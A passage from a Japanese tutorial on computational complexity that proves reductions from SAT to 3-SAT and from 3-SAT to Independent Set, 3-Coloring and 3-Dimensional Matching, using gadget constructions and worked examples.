(x_{n+i}\vee \lnot x_j\vee \lnot x_k) \wedge (\lnot x_{n+i} \vee x_j) \wedge (\lnot x_{n+i} \vee x_k), \\ x_{n+i} \harr (x_j\vee x_k) &= (x_{n+i} \to (x_j\vee x_k) ) \wedge ( (x_j\vee x_k) \to x_{n+i}) \\ &= (\lnot x_{n+i} \vee (x_j\vee x_k) ) \wedge (\lnot(x_j\vee x_k) \vee x_{n+i}) \\ &= (\lnot x_{n+i} \vee (x_j\vee x_k) ) \wedge ( (\lnot x_j\wedge \lnot x_k) \vee x_{n+i}) \\ &= (\lnot x_{n+i} \vee (x_j\vee x_k) ) \wedge ( (\lnot x_j\vee x_{n+i}) \wedge (\lnot x_k\vee x_{n+i}) ) \\ &= (\lnot x_{n+i} \vee x_j\vee x_k) \wedge (x_{n+i}\vee\lnot x_j) \wedge (x_{n+i}\vee\lnot x_k). \end{aligned} $$ に注意する。

よって、変数は $n+m$ 個で、各節内のリテラルの個数の総和は $7m+1$ 個で押さえられる。$\qed$

3-CNF Satisfiability (3-CNF SAT, 3-SAT)

CNF SAT の部分問題であって、各節がちょうど $3$ つの相異なるリテラルで表されるものです*9

Claim 4: 3-SAT は SAT から帰着できる。

Proof

各節のリテラルが相異なるように重複を除去するのは簡単なので、以下では相異なるものとして考える。

Case 1: $1$ 個のリテラルからなる節 $x_0$

変数 $z_0$, $z_1$ を導入する。 $$ c = (x_0\vee z_0\vee z_1) \wedge (x_0\vee z_0\vee \lnot z_1) \wedge (x_0\vee \lnot z_0\vee z_1) \wedge (x_0\vee \lnot z_0\vee \lnot z_1) $$ とすると、$x_0 = 0$ のとき、 $$ \begin{aligned} c &= (x_0\vee z_0\vee z_1) \wedge (x_0\vee z_0\vee \lnot z_1) \wedge (x_0\vee \lnot z_0\vee z_1) \wedge (x_0\vee \lnot z_0\vee \lnot z_1) \\ &= (z_0\vee z_1) \wedge (z_0\vee \lnot z_1) \wedge (\lnot z_0\vee z_1) \wedge (\lnot z_0\vee \lnot z_1) \\ &= (z_0 \vee (z_1\wedge \lnot z_1) ) \wedge (\lnot z_0\vee z_1) \wedge (\lnot z_0\vee \lnot z_1) \\ &= (z_0 \vee 0) \wedge (\lnot z_0\vee z_1) \wedge (\lnot z_0\vee \lnot z_1) \\ &= 0 \end{aligned} $$ である。また、$x_0 = 1$ のとき明らかに $c = 1$ である。 すなわち、任意の論理式 $\psi$ に対して $\psi\wedge x_0$ と $\psi\wedge c$ の充足可能性が同値となる。

よって、変数を $2$ 個、総リテラル数を $11$ 個増やすことで、$3$ 個のリテラルからなる節 $4$ 個に置換できる。

Case 2: $2$ 個のリテラルからなる節 $x_0\vee x_1$

変数 $z_0$ を導入する。 $$ c = (x_0\vee x_1\vee z_1) \wedge (x_0\vee x_1\vee \lnot z_0) $$ とすると、Case 1 同様にして、任意の論理式 $\psi$ に対して $\psi\wedge (x_0\vee x_1)$ と $\psi\wedge c$ の充足可能性が同値となる。

よって、変数を $1$ 個、総リテラル数を $4$ 個増やすことで、$3$ 個のリテラルからなる節 $2$ 個に置換できる。

Case 3: $k$ 個 ($k \gt 3$) のリテラルからなる節 $x_0 \vee \dots \vee x_{k-1}$

変数 $z_0$ を導入する。 $$ c = (x_0 \vee \dots \vee x_{k-3} \vee z_0) \wedge (\lnot z_0 \vee x_{k-2} \vee x_{k-1}) $$ とすると、任意の論理式 $\psi$ に対して $\psi\wedge (x_0\vee \dots \vee x_{k-1})$ と $\psi\wedge c$ の充足可能性が同値となる。

($\implies$): 任意の $\bm x$ に対して、$\psi\wedge(x_0\vee \dots \vee x_{k-1}) = 1$ ならば、ある $z_0$ が存在して $\psi\wedge c = 1$ となることを示す。

$x_0\vee \dots \vee x_{k-1} = 1$ であるから、ある $i$ が存在して $x_i = 1$ が成り立つ。 $i\le k-3$ のとき、$z_0 = 0$ とすることで $c = 1$ が成り立つ。 また、$i\gt k-3$ のとき、$z_0 = 1$ とすることで $c = 1$ が成り立つ。

また、$\psi = 1$ であるから、上記の $z_0$ に対して $\psi\wedge c = 1$ となる。

($\impliedby$): 任意の $\bm x$ と $z_0$ に対して、$\psi\wedge c = 1$ ならば ${\psi\wedge (x_0\vee\dots\vee x_{k-1})} = 1$ となることを示す。

$z_0 = 0$ のとき、$x_0\vee\dots\vee x_{k-3} = 1$ なので $x_0\vee\dots\vee x_{k-1} = 1$ が成り立つ。 また、$z_0 = 1$ のとき、$x_{k-2}\vee x_{k-1} = 1$ なので $x_0\vee\dots\vee x_{k-1} = 1$ が成り立つ。

さらに $\psi = 1$ であるから、$z_0$ の値によらず $\psi\wedge(x_0\vee\dots\vee x_{k-1}) = 1$ となる。

以上より、任意の論理式 $\psi$ に対して $\psi\wedge (x_0\vee \dots \vee x_{k-1})$ と $\psi\wedge c$ の充足可能性が同値となる。

よって、変数を $1$ 個、総リテラル数を $2$ 個増やすことで、$k-1$ 個のリテラルからなる節と $3$ 個のリテラルからなる節に分解できる。 これを繰り返すことにより、変数を $k-3$ 個、総リテラル数を $2(k-3)$ 個増やすことで、$3$ 個のリテラルからなる節 $k-2$ 個に分解できる。

全体として、$k$ 個のリテラルからなる節が $c_k$ 個あるとき、変数の増分は $$ \begin{aligned} 2 c_1 + 1 c_2 + \sum_{i=4}^k {(k-3) c_k} &\le 2\sum_{i=1}^k {k c_k}, \end{aligned} $$ 総リテラル数の増分は $$ \begin{aligned} 11 c_1 + 4 c_2 + \sum_{i=4}^k {2(k-3) c_k} &\le 11\sum_{i=1}^k k c_k, \end{aligned} $$ 節の個数は $$ \begin{aligned} 4 c_1 + 2 c_2 + c_3 + \sum_{i=4}^k {(k-2) c_k} &\le 4\sum_{i=1}^k k c_k \end{aligned} $$ となる。

以上より、$\phi$ の総リテラル数を $l=\sum_k k c_k$ として、$\theta$ は高々 $n+2l$ 変数、高々 $4l$ 個の節で、総リテラル数が高々 $12l$ 個の 3-CNF となる。$\qed$

Maximum Independent Set (MIS)

無向グラフ $G = (V, E)$ が与えられます。$S\subseteq V$ であって、任意の $u, v\in S$ ($u\ne v$) について $\{u, v\}\notin E$ を満たすものを 独立集合 (independent set) と呼びます。要素数が最大となる独立集合(または要素数の最大値)を求めよという問題です。

これは最大化問題であって決定問題ではないですが、決定問題版を「グラフ $G$ と整数 $k$ が与えられる。$|S|\ge k$ なる $S$ が存在するか?」として定義できます。この $k$ について二分探索なり指数探索なりをすることで、($|S|\le |V|$ に注意して)最大化問題を多項式時間で解くことができます。

下記のグラフ $G$ に対して、Independent Set の問題例 $\phi = (G, 4)$ を考えます。

グラフ $G$

次の図で黒く塗った頂点からなる集合 $\{0, 3, 4, 6\}$ は条件を満たします。

$\phi$ の certificate

よって、上記の $\phi$ は Yes-instance であることがわかります。$\eod$

Claim 5: Independent Set は 3-SAT から帰着できる。

Proof

3-SAT の問題例を $$ \phi = \bigwedge_{j=0}^{m-1} {( (x_{l_{j, 0}} \harr a_{j, 0})\vee(x_{l_{j, 1}} \harr a_{j, 1})\vee(x_{l_{j, 2}} \harr a_{j, 2}) )} $$ とし、変数が $n$ 個であるとする。すなわち、各 $j$ に対して $l_{j, 0}, l_{j, 1}, l_{j, 2}\in\Lambda_n$ であり、$a_{j, 0}, a_{j, 1}, a_{j, 2}\in\{0, 1\}$ とする。 各 $i$ に対して $x_i\harr 0$ と $x_i\harr 1$ がそれぞれ $\lnot x_i$ と $x_i$ のリテラルに相当する。

$V = \Lambda_m\times\Lambda_3$ とし、各リテラルが出現する位置の集合を次のように定義する。すなわち、各 $i\in\Lambda_n$ に対し $$ \begin{aligned} S_{\lnot x_i} &= \{(j, k) \in V \mid (l_{j, k}, a_{j, k}) = (i, 0)\}, \\ S_{x_i} &= \{(j, k) \in V \mid (l_{j, k}, a_{j, k}) = (i, 1)\} \end{aligned} $$ とする。これを用いて $$ \begin{aligned} E_{\text{variable}} &= \bigcup_{i=0}^{n-1} {\big\{\{u, v\} \mid (u, v) \in S_{\lnot x_i}\times S_{x_i}\big\}}, \\ E_{\text{clause}} &= \bigcup_{j=0}^{m-1} {\big\{\{(j, 0), (j, 1)\}, \{(j, 1), (j, 2)\}, \{(j, 2), (j, 0)\}\big\}}, \\ E &= E_{\text{variable}} \cup E_{\text{clause}} \end{aligned} $$ と定義し、グラフ $G = (V, E)$ を考える。$|V| = 3m$ かつ $|E| \le nm^2+3m$ であるため、それぞれ $n+m$ の多項式で押さえられる。

このとき、$\phi$ が充足可能であることと $G$ がサイズ $m$ の独立集合を持つことが同値となる。

($\implies$): $\phi(\bm x) = 1$ なる $\bm x = (x_0, \dots, x_{n-1})$ が存在するとき、$G$ がサイズ $m$ の独立集合 $S$ を持つことを示す。

各節を充足するリテラル全体からなる集合を考える。すなわち、各 $j\in\Lambda_m$ に対して、 $$ T_j = \{k \in \Lambda_3 \mid x_{l_{j, k}} = a_{j, k}\} $$ で定義する。$\phi(\bm x) = 1$ から、各 $j$ に対して $T_j \ne \emptyset$ である。 $$ S = \{(j, \min T_j) \mid j\in\Lambda_m\} $$ とすると、$|S| = m$ が成り立つ。

任意の $i\in\Lambda_n$ に対して、$x_i = 0$ かつ $x_i = 1$ となることはないため、$E_{\text{variable}}$ に属する辺で結ばれた頂点同士が選ばれることはない。 また、$S$ の構成から、$(j, k)\in S$ なる $j$ は相異なるため、$E_{\text{clause}}$ に属する辺で結ばれた頂点同士が選ばれることもない。 よって、$S$ は $G$ における独立集合となっている。

($\impliedby$): $G$ がサイズ $m$ の独立集合 $S$ を持つとき、$\phi(\bm x) = 1$ なる $\bm x$ が存在することを示す。

各 $i\in\Lambda_n$ に対し、ある $j$, $k$ が存在して $l_{j, k} = i$ かつ $(j, k) \in S$ が成り立つとき $x_i = a_{j, k}$ とし、そうでないとき(どちらでもいいので適当に)$x_i = 0$ とする。 $E_{\text{variable}}$ に属する辺より、$(j, k), (j', k')$ が $(l_{j, k}, a_{j, k}) = (i, 0)$ かつ $(l_{j', k'}, a_{j', k'}) = (i, 1)$ を満たすとき $(j, k)\notin S$ または $(j', k')\notin S$ が成り立つ。すなわち、$x_i = 0$ かつ $x_i = 1$ となることはない。

また、各 $j\in\Lambda_m$ に対して、ある $k$ が存在して $(j, k)\in S$ かつ $l_{j, k}\in\Lambda_n$ が成り立つため、各 $j$ に対して $( (x_{l_{j, 0}} \harr a_{j, 0})\vee(x_{l_{j, 1}} \harr a_{j, 1})\vee(x_{l_{j, 2}} \harr a_{j, 2}) ) = 1$ が成り立つ。よって、$\phi(\bm x)=1$ となる。$\qed$

3-SAT の問題例 $\phi = (x_0\vee x_1\vee\lnot x_2)\wedge(\lnot x_1\vee x_2\vee x_3)\wedge(\lnot x_0\vee x_1\vee\lnot x_3)$ を考えます。変数は $n=4$ 個、節は $m=3$ 個です。 Claim 5 に示した方法に従って次のようにグラフ $G$ を構成します。

グラフ $G$

実線が $E_{\text{clause}}$、破線が $E_{\text{variable}}$ の辺を表しています。ただし、頂点のラベルは $(i, j)$ ではなく $i$ 番目の節の $j$ 個目のリテラルを書いています。 このグラフ $G$ を用いて、Independent Set の問題例 $\theta = (G, 3)$ に帰着できます。

$\theta$ の certificate

黒く塗った頂点 $\{(0, 2), (1, 2), (2, 1)\}$ が $\theta$ の certificate となるため、元の問題例においては $\lnot x_2 = x_3 = x_1 = 1$ とすればよいです。 すなわち、$\bm x = (0, 1, 0, 1)$ が $\phi$ の certificate となります。$\eod$

3-Coloring

無向グラフ $G = (V, E)$ が与えられます。$3$-彩色関数 $c_3\colon V\to\Lambda_3$ を定められるか?という問題です。 ただし、$\{u, v\}\in E$ ならば $c_3(u)\ne c_3(v)$ となる必要があります。 $c_3$ を定められるとき、$G$ は $3$-彩色可能である (is $3$-colorable) と言います。

Lemma 6: 次のグラフに対する $3$-彩色を考える。

OR-gate gadget

任意の $3$-彩色関数 $c$ について、$c(\top) \in \{c(I_0), c(I_1), c(I_2)\}$ かつ $c(O_1) = c(\top)$ が成り立つ。 また、任意の $S \in 2^{\{I_0, I_1, I_2\}}\smallsetminus\{\emptyset\}$ に対し、ある $3$-彩色関数 $c$ が存在して $$ \{x\in\{I_0, I_1, I_2\}\mid c(x) = c(\top)\} = S $$ が成り立つ。

note: 見た目の都合で $-$ や $\bot$ と接続する辺を破線で描きましたが、実線で描いた他の辺と性質の差異があることを示唆するものではありません。

Proof

To-be-proved 1: 任意の $3$-彩色関数 $c$ に対して $c(O_1) = c(\top)$ が成り立つ。

$c(O_1) \ne c(-)$ かつ $c(O_1) \ne c(\bot)$ より $c(O_1) = c(\top)$ は明らか。

To-be-proved 2: 任意の $3$-彩色関数 $c$ に対して $c(\top) \in \{c(I_0), c(I_1), c(I_2)\}$ が成り立つ。

各 $i\in\Lambda_3$ に対して辺 $\{I_i, -\}$ が存在するため、$c(I_0) = c(I_1) = c(I_2) = c(\bot)$ なる $c$ を仮定して矛盾を導けばよい。

$c(x_0) \ne c(x_1)$ に注意すると、$c(I_0) = c(I_1)$ ならば $c(O_0) = c(I_0)$ が成り立つことがわかる。 同様にして、$c(O_0) = c(I_2)$ ならば $c(O_1) = c(O_0)$ となる。

以上より、$c(I_0) = c(I_1) = c(I_2) = c(\bot)$ ならば $c(O_1) = c(\bot)$ となるが、$c(O_1) = c(\top)$ に矛盾する。 よって、$c(\top) \in \{c(I_0), c(I_1), c(I_2)\}$ が従う。

To-be-proved 3: 任意の $S \in 2^{\{I_0, I_1, I_2\}}\smallsetminus\{\emptyset\}$ に対し、$\{x\in\{I_0, I_1, I_2\}\mid c(x) = c(\top)\} = S$ なる $3$-彩色関数 $c$ が存在する。

次のようにして構成できる。以下では、$I_0$ などを論理変数として扱い、$c(I_0) = c(\top)$ とすることを $I_0 = \top$ のように表記する。

  • $O_0 = I_0\vee I_1$ とする。
  • $I_0 = I_1$ のとき、$(x_0, x_1) = (\lnot I_0, -)$ とする。
  • $I_0 \ne I_1$ のとき、$I_i = \top$ なる $i\in\{0, 1\}$ に対して $x_i = \bot$ とし、$x_{1-i} = -$ とする。
  • $(O_0, I_2, x_2, x_3, O_1)$ を $(I_0, I_1, x_0, x_1, O_0)$ と見なして上記の手続きを行う。

以上の手続きによる割り当ての表は次のようになる。

$I_0$ $I_1$ $x_0$ $x_1$ $O_0$
$\bot$ $\bot$ $\top$ $-$ $\bot$
$\bot$ $\top$ $-$ $\bot$ $\top$
$\top$ $\bot$ $\bot$ $-$ $\top$
$\top$ $\top$ $\bot$ $-$ $\top$
$I_0$ $I_1$ $I_2$ $x_0$ $x_1$ $O_0$ $x_2$ $x_3$ $O_1$
$\bot$ $\bot$ $\top$ $\top$ $-$ $\bot$ $-$ $\bot$ $\top$
$\bot$ $\top$ $\bot$ $-$ $\bot$ $\top$ $\bot$ $-$ $\top$
$\bot$ $\top$ $\top$ $-$ $\bot$ $\top$ $\bot$ $-$ $\top$
$\top$ $\bot$ $\bot$ $\bot$ $-$ $\top$ $\bot$ $-$ $\top$
$\top$ $\bot$ $\top$ $\bot$ $-$ $\top$ $\bot$ $-$ $\top$
$\top$ $\top$ $\bot$ $\bot$ $-$ $\top$ $\bot$ $-$ $\top$
$\top$ $\top$ $\top$ $\bot$ $-$ $\top$ $\bot$ $-$ $\top$

以上で示された。$\qed$

$\{O_1, \bot\}$ の辺を除いたグラフにおいて $O_1 = I_0\vee I_1\vee I_2$ なる $3$-彩色が可能であることや、$I_0=I_1=I_2=\bot$ のとき $O_1=\bot$ なる $3$-彩色しかできないことを利用しています*10

このグラフを利用して 3-SAT から 3-Coloring への帰着を行います。上記のグラフのように、帰着の際に補助的に使う部品は、しばしば gadget と呼ばれます。「何々 gadget」の何々の部分は各文脈での著者のお気持ち命名で、固有名詞的な使われ方はしていないと思います。

Claim 7: 3-Coloring は 3-SAT から帰着できる。

Proof

sketch: Lemma 6 で示した OR-gate gadget を各節について構成する。

3-SAT の問題例を $$ \phi = \bigwedge_{i=0}^{m-1} {(\alpha_{i, 0}\vee\alpha_{i, 1}\vee\alpha_{i, 2})} $$ とし、変数の個数を $n$ とする。すなわち、$x_0, \dots, x_{n-1}$ であるとする。

OR-gate gadget $\gamma$ を次で定義する。 $$ \begin{aligned} &\phantom{{}={}} \gamma(\alpha_0, \alpha_1, \alpha_2, y_0, y_1, y_2, y_3, y_4, y_5) \\ &= \{ \{\alpha_0, y_0\}, \{\alpha_1, y_1\}, \{y_0, y_1\}, \{y_1, y_2\}, \\ &\qquad\qquad \{y_2, y_0\}, \{y_2, y_3\}, \{\alpha_2, y_4\}, \{y_3, y_4\}, \\ &\qquad\qquad \{y_4, y_5\}, \{y_5, y_3\}, \{y_5, -\}, \{y_5, \bot\} \}. \end{aligned} $$ note: Lemma 6 の図は $\gamma(I_0, I_1, I_2, x_0, x_1, O_0, x_2, x_3, O_1)$ に相当する。

帰着させるグラフのための変数を次のように定義する。 $$ \begin{aligned} V_{\text{positive}} &= \{x_0, \dots, x_{n-1}\}, \\ V_{\text{negative}} &= \{\lnot v\mid v\in V_{\text{positive}}\}, \\ V_{\text{const}} &= \{\top, \bot, -\}, \\ V_{\text{clause}} &= \{y_{i, j} \mid (i, j) \in \Lambda_m \times \Lambda_5\}, \\ E_{\text{logic}} &= \{\{v, \lnot v\}\mid v\in V_{\text{positive}}\} \cup \{\{v, -\} \mid v\in V_{\text{positive}} \cup V_{\text{negative}}\} \\ & \qquad\quad {} \cup \{\{\top, \bot\}, \{\top, -\}, \{\bot, -\}\}, \\ E_{\text{clause}} &= \bigcup_{i=0}^{m-1} \gamma(\alpha_{i, 0}, \alpha_{i, 1}, \alpha_{i, 2}, y_{i, 0}, y_{i, 1}, y_{i, 2}, y_{i, 3}, y_{i, 4}, y_{i, 5}). \end{aligned} $$ 上記を用いて、 $$ \begin{aligned} V &= V_{\text{positive}} \cup V_{\text{negative}} \cup V_{\text{const}} \cup V_{\text{clause}}, \\ E &= E_{\text{logic}} \cup E_{\text{clause}} \end{aligned} $$ で定義する。$\theta = (V, E)$ が $\phi$ に対応する 3-Coloring の問題例となる。

$E_{\text{logic}}$ により、各 $i$ について $c(x_i)\ne c(\lnot x_i)$ かつ $\{c(x_i), c(\lnot x_i)\} = \{c(\top), c(\bot)\}$ となることに注意せよ。

($\implies$): $\phi$ が充足可能なとき、$\theta$ が $3$- 彩色可能であることを示す。

$\phi$ が充足可能なとき、$x_i = 1$ なる各 $i$ について $c(x_i) = c(\top)$ かつ $c(\lnot x_i) = c(\bot)$ とする。また、$x_i = 0$ なる各 $i$ について $c(x_i) = c(\bot)$ かつ $c(\lnot x_i) = c(\top)$ とする。$\phi$ の充足可能性より、$V_{\text{clause}}$ の各頂点に対しては、Lemma 6 で示したようにして彩色できる。

($\impliedby$): $\theta$ が $3$-彩色可能なとき、$\phi$ が充足可能であることを示す。

各 $i$ に対して $c(y_{i, 5}) = c(\top)$ であり、Lemma 6 より $c(\top)\in\{c(\alpha_{i, 0}), c(\alpha_{i, 1}), c(\alpha_{i, 2})\}$ である。 また、各 $i$ に対して $c(x_i)\ne c(\lnot x_i)$ である。

よって、$c(x_i) = c(\top)$ なる $x_i$ に対して $x_i = 1$、$c(x_i) = c(\bot)$ なる $x_i$ に対して $x_i = 0$ と割り当てることで、$\phi$ を充足することができる。

以上より、変数 $n$ 個、節 $m$ 個の 3-SAT を、頂点 $2n+6m+3$ 個、辺 $3n+12m+3$ 本のグラフにおける $3$-彩色問題に帰着できた。$\qed$

Lemma 8: 次のグラフにおける $3$-彩色 $c$ を考える。

別の gadget

このグラフが $3$-彩色可能であることは、$c(\top)\in\{c(I_0), c(I_1), c(I_2)\}$ と同値である。

Rationale

証明は場合分けなどにより容易であるから、背景を述べる。

入力 $I_0$, $I_1$, $I_2$ を定めると、$O_0$ に隣接する頂点 $x_0$, $x_2$, $I_2$ の選択肢の集合がそれぞれ独立に定まる。

入力の条件 出力変数 $\top$ $\bot$ $-$
$c(I_0) = c(\bot)$ $x_0$
$c(I_0) = c(\top)$ $x_0$
$c(I_1) = c(\bot)$ $x_2$
$c(I_1) = c(\top)$ $x_2$
$c(I_2) = c(\bot)$ $I_2$
$c(I_2) = c(\top)$ $I_2$

$c(I_0) = c(I_1) = c(I_2) = c(\bot)$ のときは選択肢の集合が互いに素であるため $c(O_0)$ を定めることができない。 一方、$c(I_i) = c(\top)$ なる $i\in\Lambda_3$ が存在したとき、選択肢に重複が生じるため、残った色を $O_0$ に割り当てることで彩色が可能となる。$\qed$

Lemma 8 の gadget を用いて帰着することももちろんできます。 こちらは頂点 $2n+4m+3$ 個、辺 $3n+9m+3$ 本となります。 Lemma 6 の gadget と異なり、$O_0$ の色はなんでもよいことに注意しましょう。

3-SAT の問題例 $\phi = (x_0\vee x_1\vee\lnot x_2)\wedge(\lnot x_1\vee x_2\vee x_3)\wedge(\lnot x_0\vee x_1\vee\lnot x_3)$ を考えます。変数は $n=4$ 個、節は $m=3$ 個です。Independent Set の章で用いたものと同様の例です。

Lemma 8 の gadget を用いて帰着します。gadget の部分以外は Claim 7 で示した通りです。 作図の都合上、太線で囲んだ頂点は $\top$ の頂点と辺で結ばれていることを意味するものとします。同様に、二重線で囲んだ頂点は $\bot$ の頂点と結ばれているとします。

次に示すグラフが、対応する 3-Coloring の問題例 $\theta$ となります。真ん中の列が Lemma 8 で言うところの $I_0$, $I_1$, $I_2$ に対応し、右側の列が $x_0$, $x_1$, $x_2$, $O_0$ に相当します。

グラフ $\theta$

これを解いて、次の certificate を得ます。

$\theta$ の certificate

よって、$\phi$ に対する certificate として $\bm x = (1, 1, 0, 1)$ を得ます*11。$\eod$

3-Dimensional Matching (3DM)

3 つの有限集合 $X$, $Y$, $Z$ と集合 $T\subseteq X\times Y\times Z$ が与えられます。ここで、$|X|=|Y|=|Z|$ です。 これに対し、完全マッチング (perfect matching) が存在するか?という問題です。

集合 $M\subseteq T$ が $(X\times Y\times Z, T)$ の完全マッチングであるとは、以下の条件をすべて満たすことを指します。

  • $|M| = |X|$,
  • $\{x\mid (x, y, z)\in M\} = X$,
  • $\{y\mid (x, y, z)\in M\} = Y$, and
  • $\{z\mid (x, y, z)\in M\} = Z$.

次のように言うこともできます。

  • 相異なる $(x, y, z), (x', y', z')\in M$ について、$x\ne x'$ かつ $y\ne y'$ かつ $z\ne z'$ が成り立つ。
  • 任意の $x\in X$ について、ある $y\in Y$, $z\in Z$ が存在して $(x, y, z) \in M$ が成り立つ。
  • 任意の $y\in Y$ について、ある $x\in X$, $z\in Z$ が存在して $(x, y, z) \in M$ が成り立つ。
  • 任意の $z\in Z$ について、ある $x\in X$, $y\in Y$ が存在して $(x, y, z) \in M$ が成り立つ。

3DM の問題例 $\phi$

$$ \begin{aligned} X &= \{x_0, x_1, x_2, x_3\}, \\ Y &= \{y_0, y_1, y_2, y_3\}, \\ Z &= \{z_0, z_1, z_2, z_3\}, \\ T &= \{(x_0, y_1, z_3), (x_1, y_0, z_2), (x_1, y_2, z_3), (x_2, y_3, z_0), (x_3, y_2, z_1)\} \end{aligned} $$ に対し、$\phi = ( (X, Y, Z), T)$ です。

$S = \{(x_0, y_1, z_3), (x_1, y_0, z_2), (x_2, y_3, z_0), (x_3, y_2, z_1)\}$ は条件を満たします。$\eod$

Lemma 9: 集合 $X$, $Y$, $Z$, $T$ に対し、 $$ \begin{aligned} X' &= \{x_0, \dots, x_{k-1}\} \subseteq X, \\ Y' &= \{y_0, \dots, y_{2k-1}\} \subseteq Y, \\ Z' &= \{z_0, \dots, z_{k-1}\} \subseteq Z, \\ T_{\text{even}}' &= \{(x_i, y_{2i}, z_i) \mid 0\le i\lt k\} \subseteq T, \\ T_{\text{odd}}' &= \{(x_{(i+1)\bmod k}, y_{2i+1}, z_i)\mid 0\le i\lt k\} \subseteq T, \\ T' &= T_{\text{even}}' \cup T_{\text{odd}}' \end{aligned} $$ なる $X'$, $Y'$, $Z'$, $T'$ が存在したとする(下図も参考にせよ)。

consistency gadget

さらに、$X'$ および $Z'$ の元を含む組は $T\smallsetminus T'$ には存在しないとする。すなわち、 $$ \begin{aligned} % \{(x, y, z)\in T\mid x = x_i\} &= \{(x_i, y_{2i}, z_i), (x_i, y_{(2i-1)\bmod k}, z_{(i-1)\bmod k})\}, \\ % \{(x, y, z)\in T\mid z = z_i\} &= \{(x_i, y_{2i}, z_i),(x_{(i+1)\bmod k}, y_{2i+1}, z_i)\} \{(x, y, z)\in T \mid x\in X' \vee z\in Z'\} &= T' \end{aligned} $$ が成り立つとする。 このとき、$(X\times Y\times Z, T)$ の任意の完全マッチング $M$ は、 $(M\supseteq T_{\text{even}}')\wedge(M\cap T_{\text{odd}}' = \emptyset)$ または $(M\supseteq T_{\text{odd}}')\wedge(M\cap T_{\text{even}}' = \emptyset)$ を満たす。

Proof

$\{(x, y, z)\in T\mid z = z_0\} = \{(x_0, y_0, z_0), (x_1, y_1, z_0)\}$ であるから、$(x_0, y_0, z_0) \in M$ または $(x_1, y_1, z_0) \in M$ が成り立つ。

Case 1: $(x_0, y_0, z_0) \in M$

$(x_0, y_0, z_0) \in T_{\text{even}}'$ であるから、$(M\supseteq T_{\text{even}}')\wedge(M\cap T_{\text{odd}}' = \emptyset)$ を示す。

$$ \begin{aligned} P(i) &\iff (x_{i\bmod k}, y_{2i\bmod k}, z_{i\bmod k}) \in M, \\ Q(i) &\iff (x_{(i+1)\bmod k}, y_{(2i+1)\bmod k}, z_{i\bmod k}) \notin M \end{aligned} $$ とし、$i$ について帰納的に示す。$P(i)\implies Q(i)$ と $Q(i)\implies P(i+1)$ を示す。

$(x_0, y_0, z_0)\in M$ なる完全マッチングの例

To-be-proved 1: $P(i)\implies Q(i)$

$(x_{i\bmod k}, y_{2i\bmod k}, z_{i\bmod k}) \in M$ であるから、$z_{i\bmod k}$ に着目すると $(x_{(i+1)\bmod k}, y_{(2i+1)\bmod k}, z_{i\bmod k}) \notin M$ が従う。

To-be-proved 2: $Q(i)\implies P(i+1)$

$$ P(i+1) \iff (x_{(i+1)\bmod k}, y_{2(i+1)\bmod k}, z_{(i+1)\bmod k}) \in M $$ である。$(x_{(i+1)\bmod k}, y_{(2i+1)\bmod k}, z_{i\bmod k}) \notin M$ であるから、$\lnot P(i+1)$ とすると $(x_{(i+1)\bmod k}, y, z)\in M$ なる $(y, z)\in Y\times Z$ が存在せず、完全マッチングの条件に反する。よって、$Q(i)\implies P(i+1)$ が成り立つ。

以上より、$(x_0, y_0, z_0) \in M$ ならば $(M\supseteq T_{\text{even}}')\wedge(M\cap T_{\text{odd}}' = \emptyset)$ が成り立つ。

Case 2: $(x_1, y_1, z_0) \in M$

対称性より、Case 1 と同様にして $(M\supseteq T_{\text{odd}}')\wedge(M\cap T_{\text{even}}' = \emptyset)$ が示せる。$\qed$

note: $y$ の添字が偶数のものを一つでも選んだら $y$ の添字が偶数のもの全体を選ぶのを強制され、奇数の方は選べません。偶奇が逆の場合も同様です。これを、3-SAT の各変数 $x_i$ が複数の節に現れる際の $0$ や $1$ への割り当ての一貫性の担保のために使います。

Claim 10: 3DM は 3-SAT から帰着できる。

Proof

3-SAT の問題例を $$ \phi = \bigwedge_{j=0}^{m-1} ( (x_{l_{j, 0}}\harr a_{j, 0}) \vee (x_{l_{j, 1}}\harr a_{j, 1}) \vee (x_{l_{j, 2}}\harr a_{j, 2}) ) $$ とし、$n$ 個の変数を $x_0, \dots, x_{n-1}$ とする。

各 $i\in\Lambda_n$ に対して変数 $x_i$ が節に出現する回数を $c_i$ とする。 すなわち、 $$ c_i = |{\{(j, k) \in \Lambda_m\times\Lambda_3 \mid l_{j, k} = i\}}| $$ である。ここで、$l_{j, k}\in \Lambda_m$ より $$ \sum_{i=0}^{n-1} c_i = |{\Lambda_m\times\Lambda_3}| = 3m $$ が成り立つことに注意せよ。さて、 $$ \begin{aligned} X_{\text{variable}} &= \bigcup_{i=0}^{n-1} {\{u_{i, 0}, \dots, u_{i, c_i-1}\}}, \\ X_{\text{clause}} &= \bigcup_{j=0}^{m-1} {\{v_{j, 0}, v_{j, 1}, v_{j, 2}\}}, \\ Y_{\text{literal}} &= \bigcup_{i=0}^{n-1} {\{w_{i, 0, 0}, w_{i, 0, 1}, \dots, w_{i, c_i-1, 0}, w_{i, c_i-1, 1}\}}, \\ Z_{\text{variable}} &= \bigcup_{i=0}^{n-1} {\{u_{i, 0}', \dots, u_{i, c_i-1}'\}}, \\ Z_{\text{clause}} &= \bigcup_{j=0}^{m-1} {\{v_{j, 0}', v_{j, 1}', v_{j, 2}'\}} \end{aligned} $$ で定義する。これを用いて $$ \begin{aligned} X &= X_{\text{variable}} \cup X_{\text{clause}}, \\ Y &= Y_{\text{literal}}, \\ Z &= Z_{\text{variable}} \cup Z_{\text{clause}} \end{aligned} $$ とする。このとき $$ \begin{aligned} |X| &= |X_{\text{variable}}| + |X_{\text{clause}}| \\ &= \sum_{i=0}^{n-1} c_i + 3m = 6m, \\ |Y| &= |Y_{\text{literal}}| \\ &= \sum_{i=0}^{n-1} 2c_i = 6m, \\ |Z| &= |X| = 6m \end{aligned} $$ より、$|X|=|Y|=|Z|$ が成り立つ。

さて、Lemma 9 を踏まえ、consistency gadget $\gamma_{\text{variable}}$ を次のように定義する。 $$ \begin{aligned} \gamma_{\text{discard-false}}(i) &= \{(u_{i, j}, w_{i, j, 0}, u_{i, j}') \mid j\in\Lambda_{c_i}\}, \\ \gamma_{\text{discard-true}}(i) &= \{(u_{i, (j+1)\bmod c_i}, w_{i, j, 1}, u_{i, j}') \mid j\in\Lambda_{c_i}\} \\ \gamma_{\text{variable}}(i) &= \gamma_{\text{discard-false}}(i) \cup \gamma_{\text{discard-true}}(i). \end{aligned} $$ また、各節に対応する satisfaction gadget $\gamma_{\text{clause}}$ を次のように定義する。

